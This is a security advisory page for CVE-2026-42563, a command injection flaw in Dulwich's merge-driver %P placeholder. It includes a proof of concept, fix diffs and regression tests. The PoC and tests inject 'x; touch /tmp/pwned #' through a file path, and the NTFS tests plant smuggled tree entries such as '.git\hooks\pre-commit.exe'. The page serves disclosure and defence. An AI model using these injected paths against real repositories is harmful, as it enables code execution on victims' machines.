VYPR
High severity7.7GHSA Advisory· Published May 28, 2026· Updated May 28, 2026

Dulwich Vulnerable to Command Injection via Merge Driver Path

CVE-2026-42563

Description

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

  • Type: Command Injection
  • Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

  • Repository: https://github.com/dulwich/dulwich
  • Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of

Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Command injection in Dulwich's ProcessMergeDriver via the %P placeholder allows arbitrary code execution when merging a malicious branch.

Vulnerability

Dulwich's ProcessMergeDriver in dulwich/merge_drivers.py (lines 119–129) substitutes the file path from the git tree (controlled by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). This affects all versions before dulwich-1.2.5 [1][2][3]. The vulnerability requires a user to have a merge driver configured that uses the %P placeholder [1][2].

Exploitation

An attacker must convince a victim to merge an untrusted branch from a repository containing a crafted file path. The path is substituted into the merge driver command via %P and executed with shell=True, enabling arbitrary command injection. The attacker does not need authentication beyond the ability to push a branch with a malicious path; the victim triggers the vulnerability by performing a merge operation [1][2].

Impact

Successful exploitation results in arbitrary command execution on the victim's system at the privilege level of the user running Dulwich. The attacker can achieve full compromise of the affected environment, including data exfiltration, malware installation, or lateral movement [1][2].

Mitigation

The fix is included in release dulwich-1.2.5, which properly shell-escapes values substituted into ProcessMergeDriver commands. All users are strongly encouraged to upgrade [1][2][3]. No workarounds are documented; users should review merge driver configurations and avoid merging untrusted branches until upgraded.

AI Insight generated on May 28, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

11
5f85d3e4b0d4

tests: fix Windows-only failures in NTFS and merge-driver tests

https://github.com/jelmer/dulwichJelmer VernooijMay 28, 2026Fixed in dulwich-1.2.5via github-commit-search
2 files changed · +19 7
  • tests/test_merge_drivers.py+6 4 modified
    @@ -181,9 +181,10 @@ def test_merge_with_markers(self):
     
             result, success = driver.merge(b"a", b"b", b"c", marker_size=15)
     
    -        # Expect different line endings on Windows vs Unix
    +        # On Windows the value is wrapped in double quotes for cmd.exe and
    +        # echo prints them literally; POSIX shells strip the shlex quoting.
             if sys.platform == "win32":
    -            expected = b"marker size: 15 \r\n"
    +            expected = b'marker size: "15" \r\n'
             else:
                 expected = b"marker size: 15\n"
             self.assertEqual(result, expected)
    @@ -197,9 +198,10 @@ def test_merge_with_path(self):
     
             result, success = driver.merge(b"a", b"b", b"c", path="dir/file.xml")
     
    -        # Expect different line endings on Windows vs Unix
    +        # On Windows the value is wrapped in double quotes for cmd.exe and
    +        # echo prints them literally; POSIX shells strip the shlex quoting.
             if sys.platform == "win32":
    -            expected = b"path: dir/file.xml \r\n"
    +            expected = b'path: "dir/file.xml" \r\n'
             else:
                 expected = b"path: dir/file.xml\n"
             self.assertEqual(result, expected)
    
  • tests/test_worktree.py+13 3 modified
    @@ -344,8 +344,15 @@ def test_reset_index_honors_protectNTFS_config(self):
     
             self.worktree.reset_index(tree.id)
     
    -        # git~1 was dropped by the NTFS validator; ok.txt survived.
    -        self.assertFalse(os.path.exists(os.path.join(self.repo.path, "git~1")))
    +        # git~1 was dropped by the NTFS validator; ok.txt survived. On NTFS
    +        # the path "git~1" is the 8.3 short-name alias of the real .git
    +        # directory, so a bare os.path.exists() check is always true there;
    +        # assert instead that no regular file carrying the evil blob was
    +        # materialized.
    +        evil_path = os.path.join(self.repo.path, "git~1")
    +        if os.path.isfile(evil_path):
    +            with open(evil_path, "rb") as f:
    +                self.assertNotEqual(b"evil", f.read())
             self.assertTrue(os.path.exists(os.path.join(self.repo.path, "ok.txt")))
     
         def test_reset_index_defaults_to_protectNTFS(self):
    @@ -365,7 +372,10 @@ def test_reset_index_defaults_to_protectNTFS(self):
     
             self.worktree.reset_index(tree.id)
     
    -        self.assertFalse(os.path.exists(os.path.join(self.repo.path, "git~1")))
    +        evil_path = os.path.join(self.repo.path, "git~1")
    +        if os.path.isfile(evil_path):
    +            with open(evil_path, "rb") as f:
    +                self.assertNotEqual(b"evil", f.read())
             self.assertTrue(os.path.exists(os.path.join(self.repo.path, "ok.txt")))
     
     
    
e3331b3b3a12

merge_drivers: shell-quote placeholder values (CVE-2026-42563)

https://github.com/jelmer/dulwichJelmer VernooijMay 19, 2026Fixed in dulwich-1.2.5via ghsa-release-walk
3 files changed · +55 6
  • dulwich/merge_drivers.py+21 6 modified
    @@ -29,7 +29,9 @@
     ]
     
     import os
    +import shlex
     import subprocess
    +import sys
     import tempfile
     from collections.abc import Callable
     from typing import Protocol
    @@ -64,6 +66,15 @@ def merge(
             ...
     
     
    +def _shell_quote(value: str) -> str:
    +    """Shell-quote ``value`` for the platform's default shell."""
    +    if sys.platform == "win32":
    +        if any(c in value for c in "\r\n\x00"):
    +            raise ValueError("value contains unescapable character for cmd.exe")
    +        return '"' + value.replace('"', '""') + '"'
    +    return shlex.quote(value)
    +
    +
     class ProcessMergeDriver:
         """Merge driver that runs an external process."""
     
    @@ -110,14 +121,18 @@ def merge(
                 with open(theirs_path, "wb") as f:
                     f.write(theirs)
     
    -            # Prepare command with placeholders
    +            # %P is attacker-controllable; quote everything (CVE-2026-42563).
                 cmd = self.command
    -            cmd = cmd.replace("%O", ancestor_path)
    -            cmd = cmd.replace("%A", ours_path)
    -            cmd = cmd.replace("%B", theirs_path)
    -            cmd = cmd.replace("%L", str(marker_size))
    +            cmd = cmd.replace("%O", _shell_quote(ancestor_path))
    +            cmd = cmd.replace("%A", _shell_quote(ours_path))
    +            cmd = cmd.replace("%B", _shell_quote(theirs_path))
    +            cmd = cmd.replace("%L", _shell_quote(str(marker_size)))
                 if path:
    -                cmd = cmd.replace("%P", path)
    +                try:
    +                    quoted_path = _shell_quote(path)
    +                except ValueError:
    +                    return ours, False
    +                cmd = cmd.replace("%P", quoted_path)
     
                 # Execute merge command
                 try:
    
  • NEWS+6 0 modified
    @@ -1,5 +1,11 @@
     1.2.3	UNRELEASED
     
    + * SECURITY (CVE-2026-42563): Shell-quote values substituted into
    +   ``ProcessMergeDriver`` commands. ``%P`` is a path from the git
    +   tree, so a malicious branch could inject shell commands when the
    +   user had a merge driver configured that referenced ``%P``.
    +   Reported by Ravishanker Kusuma (hayageek). (Jelmer Vernooij)
    +
      * Honour ``GIT_CONFIG_COUNT`` / ``GIT_CONFIG_KEY_<n>`` /
        ``GIT_CONFIG_VALUE_<n>`` in porcelain entry points, via the new
        opt-in ``config.env_config`` helper. (Jelmer Vernooij, #2168)
    
  • tests/test_merge_drivers.py+28 0 modified
    @@ -205,6 +205,34 @@ def test_merge_with_path(self):
             self.assertEqual(result, expected)
             self.assertTrue(success)
     
    +    def test_merge_path_with_shell_metacharacters_is_not_injected(self):
    +        """Malicious paths must not be able to inject extra shell commands.
    +
    +        Regression test for command injection via the %P placeholder
    +        (path comes from a git tree and is therefore attacker-controllable
    +        when merging an untrusted branch).
    +        """
    +        import os
    +        import tempfile
    +
    +        with tempfile.TemporaryDirectory() as tmpdir:
    +            sentinel = os.path.join(tmpdir, "pwned")
    +            # Path that would, without proper quoting, terminate the echo
    +            # and run a separate command creating the sentinel file.
    +            malicious_path = f"x; touch {sentinel} #"
    +
    +            command = "echo %P > %A"
    +            driver = ProcessMergeDriver(command, "injectable")
    +
    +            result, _ = driver.merge(b"a", b"b", b"c", path=malicious_path)
    +
    +            self.assertFalse(
    +                os.path.exists(sentinel),
    +                "Merge driver executed injected command - path was not shell-quoted",
    +            )
    +            # The literal path should appear in the output instead.
    +            self.assertIn(b"x; touch", result)
    +
     
     class MergeBlobsWithDriversTests(unittest.TestCase):
         """Tests for merge_blobs with merge drivers."""
    
82dcfd922e2e

index: reject reserved Windows device names in NTFS validator

https://github.com/jelmer/dulwichJelmer VernooijMay 19, 2026Fixed in dulwich-1.2.5via ghsa-release-walk
3 files changed · +80 0
  • dulwich/index.py+21 0 modified
    @@ -1978,6 +1978,25 @@ def _is_ntfs_dotgit_short_name(normalized: bytes) -> bool:
         return len(tail) > 0 and tail.isdigit()
     
     
    +# Reserved Windows device names. Opening any of these on Windows
    +# resolves to a device rather than a file, regardless of any
    +# extension or trailing dots/spaces (``NUL``, ``NUL.txt``,
    +# ``aux.foo.bar`` all hit the device).
    +RESERVED_WINDOWS_DEVICE_NAMES = frozenset(
    +    [b"con", b"prn", b"aux", b"nul"]
    +    + [b"com%d" % i for i in range(1, 10)]
    +    + [b"lpt%d" % i for i in range(1, 10)]
    +)
    +
    +
    +def _is_reserved_windows_device_name(normalized: bytes) -> bool:
    +    """Match Windows reserved device names regardless of extension."""
    +    # The "stem" is the portion before the first ``.``; Windows
    +    # also strips trailing spaces from that stem when resolving.
    +    stem = normalized.split(b".", 1)[0].rstrip(b" ")
    +    return stem in RESERVED_WINDOWS_DEVICE_NAMES
    +
    +
     def validate_path_element_ntfs(element: bytes) -> bool:
         """Validate a path element using NTFS filesystem rules.
     
    @@ -2002,6 +2021,8 @@ def validate_path_element_ntfs(element: bytes) -> bool:
             return False
         if _is_ntfs_dotgit_short_name(normalized):
             return False
    +    if _is_reserved_windows_device_name(normalized):
    +        return False
         return True
     
     
    
  • NEWS+9 0 modified
    @@ -64,6 +64,15 @@
        / ``core.protectHFS`` configuration keys are now read under their
        documented names. Reported by Christopher Toth.
     
    + * Reject tree entries whose name resolves to a reserved Windows
    +   device (``CON``, ``PRN``, ``AUX``, ``NUL``, ``COM1``-``COM9``,
    +   ``LPT1``-``LPT9``), with or without an extension. ``NUL.txt`` and
    +   ``AUX.foo`` open the device rather than a disk file on Windows,
    +   so a tree authored on POSIX containing such a name would either
    +   fail to check out or write to the device on a Windows clone —
    +   matching Git's behaviour under ``core.protectNTFS``. Reported by
    +   Christopher Toth.
    +
      * Deduplicate objects when writing a multi-pack-index. Objects present
        in multiple packs (e.g. after ``git gc`` creates a cruft pack) would
        otherwise produce an OIDL chunk with repeated SHAs, causing ``git
    
  • tests/test_index.py+50 0 modified
    @@ -1567,6 +1567,56 @@ def test_ntfs_rejects_alternate_data_stream(self) -> None:
             self.assertFalse(validate_path_element_ntfs(b".git:evil"))
             self.assertFalse(validate_path_element_ntfs(b"foo:bar"))
     
    +    def test_ntfs_rejects_reserved_device_names(self) -> None:
    +        # CON, PRN, AUX, NUL and COM1..9 / LPT1..9 are reserved
    +        # devices on Windows. Opening them resolves to the device
    +        # rather than a disk file, with or without an extension and
    +        # regardless of case.
    +        for name in (
    +            b"NUL",
    +            b"nul",
    +            b"NuL",
    +            b"CON",
    +            b"PRN",
    +            b"AUX",
    +            b"COM1",
    +            b"COM9",
    +            b"LPT1",
    +            b"LPT9",
    +        ):
    +            self.assertFalse(
    +                validate_path_element_ntfs(name),
    +                f"{name!r} should be rejected on NTFS",
    +            )
    +
    +    def test_ntfs_rejects_reserved_device_names_with_extension(self) -> None:
    +        # Extensions do not make a reserved name safe on Windows —
    +        # ``NUL.txt`` still opens the NUL device.
    +        self.assertFalse(validate_path_element_ntfs(b"NUL.txt"))
    +        self.assertFalse(validate_path_element_ntfs(b"aux.foo"))
    +        self.assertFalse(validate_path_element_ntfs(b"COM1.bar"))
    +        # Multiple extensions still match the stem.
    +        self.assertFalse(validate_path_element_ntfs(b"nul.tar.gz"))
    +        # Trailing dots/spaces are stripped by NTFS before resolution.
    +        self.assertFalse(validate_path_element_ntfs(b"NUL."))
    +        self.assertFalse(validate_path_element_ntfs(b"NUL "))
    +        self.assertFalse(validate_path_element_ntfs(b"NUL ..."))
    +        # A trailing space on the stem itself is also stripped, so
    +        # ``NUL .txt`` still resolves to the NUL device.
    +        self.assertFalse(validate_path_element_ntfs(b"NUL .txt"))
    +
    +    def test_ntfs_accepts_names_that_only_resemble_devices(self) -> None:
    +        # Only the exact reserved names are devices; longer names
    +        # that merely start with one of them are fine.
    +        self.assertTrue(validate_path_element_ntfs(b"null"))
    +        self.assertTrue(validate_path_element_ntfs(b"console"))
    +        self.assertTrue(validate_path_element_ntfs(b"prnt"))
    +        self.assertTrue(validate_path_element_ntfs(b"myaux"))
    +        # COM0/LPT0 and COM10+ are not in the reserved range.
    +        self.assertTrue(validate_path_element_ntfs(b"com0"))
    +        self.assertTrue(validate_path_element_ntfs(b"com10"))
    +        self.assertTrue(validate_path_element_ntfs(b"lpt0"))
    +
     
     class TestDecodeUTF8WithFallback(TestCase):
         """Tests for the xutftowcsn-style lossy UTF-8 decoder."""
    
a248efd10f36

index: harden validate_path_element_ntfs against Windows path smuggling

https://github.com/jelmer/dulwichJelmer VernooijApr 22, 2026Fixed in dulwich-1.2.5via ghsa-release-walk
3 files changed · +141 1
  • dulwich/index.py+19 1 modified
    @@ -1970,6 +1970,14 @@ def validate_path_element_default(element: bytes) -> bool:
         return _normalize_path_element_default(element) not in INVALID_DOTNAMES
     
     
    +def _is_ntfs_dotgit_short_name(normalized: bytes) -> bool:
    +    """Match NTFS 8.3 short-name forms of ``.git`` (``git~<digits>``)."""
    +    if not normalized.startswith(b"git~"):
    +        return False
    +    tail = normalized[4:]
    +    return len(tail) > 0 and tail.isdigit()
    +
    +
     def validate_path_element_ntfs(element: bytes) -> bool:
         """Validate a path element using NTFS filesystem rules.
     
    @@ -1979,10 +1987,20 @@ def validate_path_element_ntfs(element: bytes) -> bool:
         Returns:
           True if path element is valid for NTFS, False otherwise
         """
    +    # A backslash is a path separator on Windows, so accepting it
    +    # here would let a tree authored on POSIX escape the work tree
    +    # or plant files under ``.git\`` when checked out on Windows.
    +    if b"\\" in element:
    +        return False
    +    # NTFS alternate data streams are addressed as ``name:stream``;
    +    # reject any element containing ``:`` so ``.git::$INDEX_ALLOCATION``
    +    # and similar forms cannot bypass the ``.git`` check.
    +    if b":" in element:
    +        return False
         normalized = _normalize_path_element_ntfs(element)
         if normalized in INVALID_DOTNAMES:
             return False
    -    if normalized == b"git~1":
    +    if _is_ntfs_dotgit_short_name(normalized):
             return False
         return True
     
    
  • NEWS+14 0 modified
    @@ -50,6 +50,20 @@
        that did not exist on disk, leaving LFS-tracked files as pointers when
        cloning from a local repo. (Jelmer Vernooij)
     
    + * SECURITY: Reject tree entries whose path components would be
    +   interpreted as path separators or alternate-data-stream markers on
    +   Windows. A malicious repository could previously craft entries such
    +   as ``.git\hooks\pre-commit.exe``, ``..\outside.txt``,
    +   ``.git::$INDEX_ALLOCATION`` or any ``git~<digits>`` 8.3 short-name
    +   alias of ``.git`` and have them materialized on a Windows clone,
    +   planting files under ``.git\`` (which Git for Windows then
    +   executes) or escaping the work tree. The NTFS path-element
    +   validator now rejects ``\``, ``:``, and all ``git~<digits>`` forms.
    +   ``core.protectNTFS`` now defaults to true on every platform
    +   (matching Git's ``PROTECT_NTFS_DEFAULT=1``), and ``core.protectNTFS``
    +   / ``core.protectHFS`` configuration keys are now read under their
    +   documented names. Reported by Christopher Toth.
    +
      * Deduplicate objects when writing a multi-pack-index. Objects present
        in multiple packs (e.g. after ``git gc`` creates a cruft pack) would
        otherwise produce an OIDL chunk with repeated SHAs, causing ``git
    
  • tests/test_index.py+108 0 modified
    @@ -621,6 +621,73 @@ def test_git_dir(self) -> None:
                 )
                 self.assertFileContents(epath, b"d")
     
    +    def test_ntfs_malicious_entries_dropped(self) -> None:
    +        # A malicious tree authored on POSIX containing NTFS-hostile
    +        # entries must not materialize any of them under the NTFS
    +        # validator — the combination would let an attacker plant
    +        # ``.git\hooks\pre-commit.exe`` or ``.git::$INDEX_ALLOCATION``
    +        # on a Windows clone.
    +        from dulwich.index import validate_path_element_ntfs
    +
    +        repo_dir = tempfile.mkdtemp()
    +        self.addCleanup(shutil.rmtree, repo_dir)
    +        with Repo.init(repo_dir) as repo:
    +            hook = Blob.from_string(b"malicious hook")
    +            escape = Blob.from_string(b"outside payload")
    +            shortname = Blob.from_string(b"masquerading as .git")
    +            ads = Blob.from_string(b"alternate data stream payload")
    +            benign = Blob.from_string(b"ok")
    +
    +            tree = Tree()
    +            tree[b".git\\hooks\\pre-commit.exe"] = (
    +                stat.S_IFREG | 0o755,
    +                hook.id,
    +            )
    +            tree[b"..\\outside.txt"] = (stat.S_IFREG | 0o644, escape.id)
    +            tree[b"git~1"] = (stat.S_IFREG | 0o644, shortname.id)
    +            tree[b".git::$INDEX_ALLOCATION"] = (
    +                stat.S_IFREG | 0o644,
    +                ads.id,
    +            )
    +            tree[b"ok.txt"] = (stat.S_IFREG | 0o644, benign.id)
    +
    +            repo.object_store.add_objects(
    +                [(o, None) for o in [hook, escape, shortname, ads, benign, tree]]
    +            )
    +
    +            build_index_from_tree(
    +                repo.path,
    +                repo.index_path(),
    +                repo.object_store,
    +                tree.id,
    +                validate_path_element=validate_path_element_ntfs,
    +            )
    +
    +            index = repo.open_index()
    +            self.assertEqual(list(index), [b"ok.txt"])
    +
    +            # Nothing written under the literal paths (the POSIX form)
    +            # or under `.git/` (the Windows decomposition of `\`).
    +            self.assertFalse(
    +                os.path.exists(os.path.join(repo.path, ".git\\hooks\\pre-commit.exe"))
    +            )
    +            self.assertFalse(
    +                os.path.exists(
    +                    os.path.join(repo.path, ".git", "hooks", "pre-commit.exe")
    +                )
    +            )
    +            # ``git~1`` and ``.git::$INDEX_ALLOCATION`` would resolve
    +            # against the existing ``.git`` directory on NTFS (8.3
    +            # short-name and alternate-data-stream resolution), so
    +            # ``os.path.exists`` can return true even when nothing was
    +            # materialized as a literal entry. Check the directory
    +            # listing instead.
    +            work_tree_entries = os.listdir(repo.path)
    +            self.assertNotIn("git~1", work_tree_entries)
    +            self.assertNotIn(".git::$INDEX_ALLOCATION", work_tree_entries)
    +            # Nothing escaped the work tree either.
    +            self.assertNotIn("outside.txt", os.listdir(os.path.dirname(repo.path)))
    +
         def test_nonempty(self) -> None:
             repo_dir = tempfile.mkdtemp()
             self.addCleanup(shutil.rmtree, repo_dir)
    @@ -1459,6 +1526,47 @@ def test_hfs(self) -> None:
             self.assertTrue(validate_path_element_hfs(b".g\xc3\xaft"))  # .gït
             self.assertTrue(validate_path_element_hfs(b"git"))  # git without dot
     
    +    def test_ntfs_rejects_backslash(self) -> None:
    +        # A backslash is a path separator on Windows, so a tree entry
    +        # containing one would materialize as nested directories and
    +        # let an attacker plant ``.git\hooks\pre-commit`` or escape
    +        # the work tree with ``..\outside``.
    +        self.assertFalse(validate_path_element_ntfs(b".git\\hooks\\pre-commit"))
    +        self.assertFalse(validate_path_element_ntfs(b"..\\outside"))
    +        self.assertFalse(validate_path_element_ntfs(b"a\\b"))
    +        self.assertFalse(validate_path_element_ntfs(b"foo\\"))
    +
    +    def test_non_ntfs_validators_accept_backslash(self) -> None:
    +        # On POSIX/HFS a backslash is a valid filename byte. The
    +        # protection is gated on the NTFS validator (selected by
    +        # core.protectNTFS), so the other validators still accept it.
    +        self.assertTrue(validate_path_element_default(b"a\\b"))
    +        self.assertTrue(validate_path_element_hfs(b"a\\b"))
    +
    +    def test_ntfs_rejects_all_short_name_variants(self) -> None:
    +        # Git's is_ntfs_dotgit rejects any ``git~<digits>`` 8.3
    +        # short-name form; previously only the literal ``git~1`` was
    +        # checked.
    +        for name in (b"git~1", b"git~2", b"git~10", b"GIT~1", b"gIt~3"):
    +            self.assertFalse(
    +                validate_path_element_ntfs(name),
    +                f"{name!r} should be rejected on NTFS",
    +            )
    +        # Trailing ``.``/space is stripped by NTFS — same names.
    +        self.assertFalse(validate_path_element_ntfs(b"git~1."))
    +        self.assertFalse(validate_path_element_ntfs(b"git~1 "))
    +        # Names that merely contain ``git~`` are still accepted.
    +        self.assertTrue(validate_path_element_ntfs(b"git~foo"))
    +        self.assertTrue(validate_path_element_ntfs(b"mygit~1"))
    +
    +    def test_ntfs_rejects_alternate_data_stream(self) -> None:
    +        # NTFS alternate data streams are addressed as ``name:stream``;
    +        # a ``:`` anywhere in an element can smuggle a write to
    +        # ``.git::$INDEX_ALLOCATION`` etc.
    +        self.assertFalse(validate_path_element_ntfs(b".git::$INDEX_ALLOCATION"))
    +        self.assertFalse(validate_path_element_ntfs(b".git:evil"))
    +        self.assertFalse(validate_path_element_ntfs(b"foo:bar"))
    +
     
     class TestDecodeUTF8WithFallback(TestCase):
         """Tests for the xutftowcsn-style lossy UTF-8 decoder."""
    
eb8a7b357856

index: default core.protectNTFS to True on all platforms

https://github.com/jelmer/dulwichJelmer VernooijApr 22, 2026Fixed in dulwich-1.2.5via ghsa-release-walk
4 files changed · +32 3
  • dulwich/porcelain/__init__.py+4 1 modified
    @@ -5384,7 +5384,10 @@ def _get_worktree_update_config(
         config = repo.get_config()
         honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
     
    -    if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
    +    # core.protectNTFS defaults to True on all platforms (matching
    +    # Git's PROTECT_NTFS_DEFAULT=1) because a repo authored on
    +    # POSIX can still be cloned on Windows later.
    +    if config.get_boolean(b"core", b"protectNTFS", True):
             validate_path_element = validate_path_element_ntfs
         elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
             validate_path_element = validate_path_element_hfs
    
  • dulwich/stash.py+4 1 modified
    @@ -159,7 +159,10 @@ def pop(self, index: int) -> "Entry":
             config = self._repo.get_config()
             honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
     
    -        if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
    +        # core.protectNTFS defaults to True on all platforms (matching
    +        # Git's PROTECT_NTFS_DEFAULT=1) because a repo authored on
    +        # POSIX can still be cloned on Windows later.
    +        if config.get_boolean(b"core", b"protectNTFS", True):
                 validate_path_element = validate_path_element_ntfs
             elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
                 validate_path_element = validate_path_element_hfs
    
  • dulwich/worktree.py+4 1 modified
    @@ -793,7 +793,10 @@ def reset_index(self, tree: ObjectID | None = None) -> None:
                 tree = head.tree
             config = self._repo.get_config()
             honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
    -        if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
    +        # core.protectNTFS defaults to True on all platforms (matching
    +        # Git's PROTECT_NTFS_DEFAULT=1) because a repo authored on
    +        # POSIX can still be cloned on Windows later.
    +        if config.get_boolean(b"core", b"protectNTFS", True):
                 validate_path_element = validate_path_element_ntfs
             elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
                 validate_path_element = validate_path_element_hfs
    
  • tests/test_worktree.py+20 0 modified
    @@ -348,6 +348,26 @@ def test_reset_index_honors_protectNTFS_config(self):
             self.assertFalse(os.path.exists(os.path.join(self.repo.path, "git~1")))
             self.assertTrue(os.path.exists(os.path.join(self.repo.path, "ok.txt")))
     
    +    def test_reset_index_defaults_to_protectNTFS(self):
    +        """core.protectNTFS defaults to True on every platform.
    +
    +        A tree authored on POSIX can still be cloned on Windows
    +        later, so the NTFS validator must be on by default
    +        regardless of os.name (matching Git's PROTECT_NTFS_DEFAULT=1).
    +        """
    +        # No core.protectNTFS set — rely on the built-in default.
    +        evil = Blob.from_string(b"evil")
    +        good = Blob.from_string(b"ok")
    +        tree = Tree()
    +        tree[b"git~1"] = (stat.S_IFREG | 0o644, evil.id)
    +        tree[b"ok.txt"] = (stat.S_IFREG | 0o644, good.id)
    +        self.repo.object_store.add_objects([(evil, None), (good, None), (tree, None)])
    +
    +        self.worktree.reset_index(tree.id)
    +
    +        self.assertFalse(os.path.exists(os.path.join(self.repo.path, "git~1")))
    +        self.assertTrue(os.path.exists(os.path.join(self.repo.path, "ok.txt")))
    +
     
     class WorkTreeSparseCheckoutTests(WorkTreeTestCase):
         """Tests for WorkTree sparse checkout operations."""
    
8df4815086bc

index: read core.protectNTFS / core.protectHFS with correct option names

https://github.com/jelmer/dulwichJelmer VernooijApr 22, 2026Fixed in dulwich-1.2.5via ghsa-release-walk
4 files changed · +35 6
  • dulwich/porcelain/__init__.py+2 2 modified
    @@ -5384,9 +5384,9 @@ def _get_worktree_update_config(
         config = repo.get_config()
         honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
     
    -    if config.get_boolean(b"core", b"core.protectNTFS", os.name == "nt"):
    +    if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
             validate_path_element = validate_path_element_ntfs
    -    elif config.get_boolean(b"core", b"core.protectHFS", sys.platform == "darwin"):
    +    elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
             validate_path_element = validate_path_element_hfs
         else:
             validate_path_element = validate_path_element_default
    
  • dulwich/stash.py+2 2 modified
    @@ -159,9 +159,9 @@ def pop(self, index: int) -> "Entry":
             config = self._repo.get_config()
             honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
     
    -        if config.get_boolean(b"core", b"core.protectNTFS", os.name == "nt"):
    +        if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
                 validate_path_element = validate_path_element_ntfs
    -        elif config.get_boolean(b"core", b"core.protectHFS", sys.platform == "darwin"):
    +        elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
                 validate_path_element = validate_path_element_hfs
             else:
                 validate_path_element = validate_path_element_default
    
  • dulwich/worktree.py+2 2 modified
    @@ -793,9 +793,9 @@ def reset_index(self, tree: ObjectID | None = None) -> None:
                 tree = head.tree
             config = self._repo.get_config()
             honor_filemode = config.get_boolean(b"core", b"filemode", os.name != "nt")
    -        if config.get_boolean(b"core", b"core.protectNTFS", os.name == "nt"):
    +        if config.get_boolean(b"core", b"protectNTFS", os.name == "nt"):
                 validate_path_element = validate_path_element_ntfs
    -        elif config.get_boolean(b"core", b"core.protectHFS", sys.platform == "darwin"):
    +        elif config.get_boolean(b"core", b"protectHFS", sys.platform == "darwin"):
                 validate_path_element = validate_path_element_hfs
             else:
                 validate_path_element = validate_path_element_default
    
  • tests/test_worktree.py+29 0 modified
    @@ -30,6 +30,7 @@
     from dulwich.errors import CommitError
     from dulwich.index import get_unstaged_changes as _get_unstaged_changes
     from dulwich.object_store import tree_lookup_path
    +from dulwich.objects import Blob, Tree
     from dulwich.repo import Repo
     from dulwich.worktree import (
         WorkTree,
    @@ -319,6 +320,34 @@ def test_reset_index(self):
                 contents = f.read()
             self.assertEqual(b"contents of file a", contents)
     
    +    def test_reset_index_honors_protectNTFS_config(self):
    +        """core.protectNTFS=true must select the NTFS path-element validator.
    +
    +        The option name read from config must be ``protectNTFS`` (as
    +        documented by git-config); the earlier ``core.protectNTFS``
    +        form never matched a real config key and silently fell back to
    +        the platform default.
    +        """
    +        # Set protectNTFS on (overriding the POSIX default of False).
    +        config = self.repo.get_config()
    +        config.set((b"core",), b"protectNTFS", b"true")
    +        config.write_to_path()
    +
    +        # Craft a tree that contains a name the NTFS validator
    +        # rejects (git~1, an 8.3 short-name alias for .git).
    +        evil = Blob.from_string(b"evil")
    +        good = Blob.from_string(b"ok")
    +        tree = Tree()
    +        tree[b"git~1"] = (stat.S_IFREG | 0o644, evil.id)
    +        tree[b"ok.txt"] = (stat.S_IFREG | 0o644, good.id)
    +        self.repo.object_store.add_objects([(evil, None), (good, None), (tree, None)])
    +
    +        self.worktree.reset_index(tree.id)
    +
    +        # git~1 was dropped by the NTFS validator; ok.txt survived.
    +        self.assertFalse(os.path.exists(os.path.join(self.repo.path, "git~1")))
    +        self.assertTrue(os.path.exists(os.path.join(self.repo.path, "ok.txt")))
    +
     
     class WorkTreeSparseCheckoutTests(WorkTreeTestCase):
         """Tests for WorkTree sparse checkout operations."""
    
5f85d3e4b0d4
https://github.com/jelmer/dulwichFixed in dulwich-1.2.5via ghsa-release-walk
11dcfb1dfda3
https://github.com/jelmer/dulwichFixed in dulwich-1.2.5via ghsa-release-walk
5f85d3e4b0d4
https://github.com/jelmer/dulwichFixed in dulwich-1.2.5via ghsa-release-walk
11dc9855ef4d
https://github.com/jelmer/dulwichFixed in dulwich-1.2.5via ghsa-release-walk
11a81b1f07ee
https://github.com/jelmer/dulwichFixed in dulwich-1.2.5via ghsa-release-walk

Vulnerability mechanics

Root cause

"Missing shell escaping of the file path substituted via the %P placeholder into a merge driver command that is executed with shell=True."

Attack vector

An attacker creates a malicious branch containing files with crafted paths that include shell metacharacters (e.g., semicolons, backticks). When a victim with a configured merge driver that uses the %P placeholder merges that branch, Dulwich's ProcessMergeDriver substitutes the attacker-controlled path directly into the command string and executes it via subprocess.run(cmd, shell=True) [ref_id=1][ref_id=2]. The shell interprets the injected metacharacters, allowing arbitrary command execution. The victim must have a merge driver configured that references the %P placeholder, which is common for custom merge tools.

Affected code

